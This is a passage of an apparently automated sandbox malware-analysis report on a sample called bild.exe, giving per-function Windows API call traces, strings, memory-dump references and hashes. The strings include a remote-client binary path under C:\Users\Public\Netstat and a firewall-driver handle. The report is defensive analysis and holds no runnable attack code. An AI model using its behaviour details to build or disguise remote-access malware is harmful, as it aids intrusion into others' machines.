K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,6C5D8E0D,00000000,?,6C5D8E0D,00000000,?,00000FA0,?), ref: 6C5D4FE4
SetLastError.KERNEL32(00000078,00000000,?,6C5D8E0D,00000000,?,00000FA0,?), ref: 6C5D4FED

Strings

EnumProcessModules, xrefs: 6C5D4FBE

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: AddressEnumErrorLastModulesProcProcess
String ID: EnumProcessModules
API String ID: 3858832252-3735562946
Opcode ID: 3deeab1da30d3f07ac4b2a6c84a5d200bbeb9be6aed09a2d8aaf89ea86d16981
Instruction ID: 1f45313c9618d1b82b77f5c4991c8e3b0a8d42ff715d9f74dc5a394723b8855a
Opcode Fuzzy Hash: 3deeab1da30d3f07ac4b2a6c84a5d200bbeb9be6aed09a2d8aaf89ea86d16981
Instruction Fuzzy Hash: 0AF05E76604318AFCB10DF99D844E5B77A8EB48722F00C91AF959D7A40C770E810CFA4

Function 6C5D5000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6C5D5014
K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6C5D8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C5D5034
SetLastError.KERNEL32(00000078,00000000,?,6C5D8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C5D503D

Strings

GetModuleFileNameExA, xrefs: 6C5D500E

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: AddressErrorFileLastModuleNameProc
String ID: GetModuleFileNameExA
API String ID: 4084229558-758377266
Opcode ID: 1e7e6d1112b7d689346f8ced7c03a28a78f843e9126600e9452f300af91f2a1b
Instruction ID: b668353775b84e478f8563f09fc45590e4c1a8c49a3114c32819ef85dfabe2bd
Opcode Fuzzy Hash: 1e7e6d1112b7d689346f8ced7c03a28a78f843e9126600e9452f300af91f2a1b
Instruction Fuzzy Hash: BCF05EB2A15318AFCB20CF98E844E5777B8EB48712F00491AF946D7A40C671F8108BE5

Function 111377F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

CreateThread.KERNEL32(00000000,00001000,Function_00137630,00000000,00000000,11138782), ref: 1113782E
CloseHandle.KERNEL32(00000000,?,11138782,AutoICFConfig,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11137835

Strings

*AutoICFConfig, xrefs: 11137807
Client, xrefs: 1113780C

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread__wcstoi64
String ID: *AutoICFConfig$Client
API String ID: 3257255551-59951473
Opcode ID: 58a92f72c8c5fc2ca777e547e4c7fef86ef2c1d8c64fc3a44eb11c2425719861
Instruction ID: 9aee7181833ba8711af7cecc10eced9f2f0784297ad8accf53734ae3fbf9e9e1
Opcode Fuzzy Hash: 58a92f72c8c5fc2ca777e547e4c7fef86ef2c1d8c64fc3a44eb11c2425719861
Instruction Fuzzy Hash: 98E0D8757A062D7AF6149AE98C86F65F6199744B26F500154FA20A50C4D6A0A440CB64

Function 11070C60 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000000FA), ref: 11070CB7
EnterCriticalSection.KERNEL32(?), ref: 11070CC4
LeaveCriticalSection.KERNEL32(?), ref: 11070D96

Strings

Push, xrefs: 11070C86

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Push
API String ID: 1566154052-4278761818
Opcode ID: a72291858ce6dc6b0c64ae6c986eadc989c908336576dbf916d062231e355c4c
Instruction ID: e8f6e055aac827a13dfabc2dec6ad808bd843e21556e42594c7620890779e76f
Opcode Fuzzy Hash: a72291858ce6dc6b0c64ae6c986eadc989c908336576dbf916d062231e355c4c
Instruction Fuzzy Hash: 1B51CC78E04784DFE721DF64C880B8AFBE0EF09318F1546A9D8998B285D770BC84CB91

Function 6C5DA4E0 Relevance: 6.1, APIs: 4, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61B898,00000000,?,?,?,6C5DDA7F,?,00000000), ref: 6C5DA503
InterlockedExchange.KERNEL32(?,00000000), ref: 6C5DA568
Sleep.KERNEL32(00000000,?,6C5DDA7F,?,00000000), ref: 6C5DA581
LeaveCriticalSection.KERNEL32(6C61B898,00000000), ref: 6C5DA5B3

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveSleep
String ID:
API String ID: 4212191310-0
Opcode ID: 23d066f657de01694c948e18dc5c90fdd60513284a534c6f4a9dad37e088d223
Instruction ID: 6ce86c6274da148b161707994638ed71208ef8689c4a0a7f58997b6c95419f75
Opcode Fuzzy Hash: 23d066f657de01694c948e18dc5c90fdd60513284a534c6f4a9dad37e088d223
Instruction Fuzzy Hash: 8C21A1B2A00300EFDF119B1ECC8269BB7B8ABC631AF160527D85693E51D771B9408B59

Function 004B1020 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 004B1027
GetStartupInfoA.KERNEL32(?), ref: 004B107B
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,?), ref: 004B1096
ExitProcess.KERNEL32 ref: 004B10A3

Memory Dump Source

Source File: 00000005.00000002.4161045215.00000000004B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000005.00000002.4160974107.00000000004B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.4161091973.00000000004B2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b0000_bild.jbxd

Yara matches

Similarity

API ID: CommandExitHandleInfoLineModuleProcessStartup
String ID:
API String ID: 2164999147-0
Opcode ID: c8380fc8b7a9bb1e0314ce0ace8c6e8214bf07186bff5c90b1d3a785b2fc9413
Instruction ID: 6060780b13e5b668971955b615befdb95331e0e062bfc026d6c7cd8391be33ed
Opcode Fuzzy Hash: c8380fc8b7a9bb1e0314ce0ace8c6e8214bf07186bff5c90b1d3a785b2fc9413
Instruction Fuzzy Hash: 5D11E5204083C85BEB317F7489A87EBBFA55F13384FA40056D9D696766C25A48C7C37D

Function 110306E7 Relevance: 6.0, APIs: 4, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000001F4), ref: 110306FC
CloseHandle.KERNEL32(?), ref: 11030709
FreeLibrary.KERNEL32(?), ref: 11030714
CloseHandle.KERNEL32(00000000), ref: 1103071B

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLibraryObjectSingleWait
String ID:
API String ID: 1314093303-0
Opcode ID: 7d2e314c4a79abf06013014507abe82da34b4e69185c6a4a9ad4d68e1235ff59
Instruction ID: 8e76f7fb4e107f93cb89770177b2081f40004907d07b5dfd0c3c9c847909df3d
Opcode Fuzzy Hash: 7d2e314c4a79abf06013014507abe82da34b4e69185c6a4a9ad4d68e1235ff59
Instruction Fuzzy Hash: A7F08135E1425ADFE714DF60D889BADF774FB88319F0002A9D82A52180DF355940CB50

Function 6C5D5C90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32(939E34B3,4004667F,00000000,a3^l), ref: 6C5D5D1F
select.WSOCK32(00000001,?,00000000,?,00000000,939E34B3,4004667F,00000000,a3^l), ref: 6C5D5D62

Strings

a3^l, xrefs: 6C5D5D0E

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: ioctlsocketselect
String ID: a3^l
API String ID: 1457273030-3838789914
Opcode ID: 358081ceb7d0a1c4800ffff39fb90aaee65c8c98909374f7e997905dfc459040
Instruction ID: 1ce468167fe70463d1bb97893f50ce00efcffce07f53c34d7d8f41d98ebfc4fe
Opcode Fuzzy Hash: 358081ceb7d0a1c4800ffff39fb90aaee65c8c98909374f7e997905dfc459040
Instruction Fuzzy Hash: 4B213370A013188BEB28DF18CD547DDB7B9EF84304F4081DAA80957681D7705F95DF90

Function 11143C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Netstat\bild.exe,00000104,?,11143E73,?), ref: 11143C49

Strings

C:\Users\Public\Netstat\bild.exe, xrefs: 11143C34, 11143C42

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\Public\Netstat\bild.exe
API String ID: 2251294070-3316297413
Opcode ID: 723324e2a123dfbea80ddcbfb8a880b064ecb9608f963ee43b1e571dd00f4a9e
Instruction ID: b9aa28b4973dc8f7500fb142756b1fa860f28402029a3e5f5efe4e67c4e883a6
Opcode Fuzzy Hash: 723324e2a123dfbea80ddcbfb8a880b064ecb9608f963ee43b1e571dd00f4a9e
Instruction Fuzzy Hash: F811E7747282235BE7149F76C994719F7A5AB40B5DF20403EE819C76C4DB71F845C744

Function 1110F4A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1110F4A9

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

_memset.LIBCMT ref: 1110F4D2

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\Refcount.cpp, xrefs: 1110F4BC

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AllocateErrorExitHeapLastMessageProcess_malloc_memsetwsprintf
String ID: ..\ctl32\Refcount.cpp
API String ID: 2803934178-2363596943
Opcode ID: 1dad7423e7d09c371aaf82e5f4f0c79299b8a2cfda0255715acc90ffe98602aa
Instruction ID: 747f5be640ff5df7f7be77ac0748be8e5b1ae2afb2ba592a3adef8646797d69b
Opcode Fuzzy Hash: 1dad7423e7d09c371aaf82e5f4f0c79299b8a2cfda0255715acc90ffe98602aa
Instruction Fuzzy Hash: B5E0C23AE4013933C112258A2C03FDBF69C8BD19FCF060021FE0CAA201E586B55181E6

Function 11014FD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000,00000001,1102EFB6,MiniDumpType,000000FF,00000000,00000000,?,?,View), ref: 11014FE7
CloseHandle.KERNEL32(00000000,?,?,View,Client,Bridge), ref: 11014FF8

Strings

\\.\NSWFPDrv, xrefs: 11014FE2

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: f0badf7843dd101c9c7a596aad23f33c11cadc83e0c29f65da520d4fe63b43e1
Instruction ID: 0b573536b28af4079515d3142ca801f5deca53cbeb6a996f0a1660ae0aa1d84a
Opcode Fuzzy Hash: f0badf7843dd101c9c7a596aad23f33c11cadc83e0c29f65da520d4fe63b43e1
Instruction Fuzzy Hash: A9D0C971A051387AF23416B66C4CFC7AD09DF06BB5F210264B53DE11D886104C41C2F1

Function 1115BDE0 Relevance: 4.7, APIs: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1115BE03

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 9cedd041eecb3df7698fbc33d80b44fc007d69f78d2f5524ab9bd2bf2492814b
Instruction ID: 0024421513bb2e1abb717dbf2ce3cdefbb73aa1ee3cdb3a5feae03928f974db8
Opcode Fuzzy Hash: 9cedd041eecb3df7698fbc33d80b44fc007d69f78d2f5524ab9bd2bf2492814b
Instruction Fuzzy Hash: 8C519E7560020AAFDB50CF68CC81FAAB7A6FF8A704F148459F929DB280D771E901CF95

Function 6C5D8FB0 Relevance: 4.6, APIs: 3, Instructions: 57networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C5D8FE4
getsockname.WSOCK32(?,?,00000010,?,02852FE8,?), ref: 6C5D9005
WSAGetLastError.WSOCK32(?,?,00000010,?,02852FE8,?), ref: 6C5D902E

Part of subcall function 6C5D5840: inet_ntoa.WSOCK32(00000080,?,00000000,?,6C5D8F91,00000000,00000000,6C61B8DA,?,00000080), ref: 6C5D5852

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: ErrorLast_memsetgetsocknameinet_ntoa
String ID:
API String ID: 3066294524-0
Opcode ID: dd29d924ea5789e5c8a4c51635ed0a87f0c0d647ba8196720499a5bbafbc1bab
Instruction ID: e89b7acffd834b5c6dc0d878bfb8d5a1f452ac72541fb4dbe9261f2be5f4a8f5
Opcode Fuzzy Hash: dd29d924ea5789e5c8a4c51635ed0a87f0c0d647ba8196720499a5bbafbc1bab
Instruction Fuzzy Hash: 751151B1E00108AFCB04DFA9DC419FFB7B8EB88214F01456ADC15E7240E770AE158B91

Function 11111430 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111145A
__wsplitpath.LIBCMT ref: 11111475

Part of subcall function 11169044: __splitpath_helper.LIBCMT ref: 11169086

GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111114A9

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

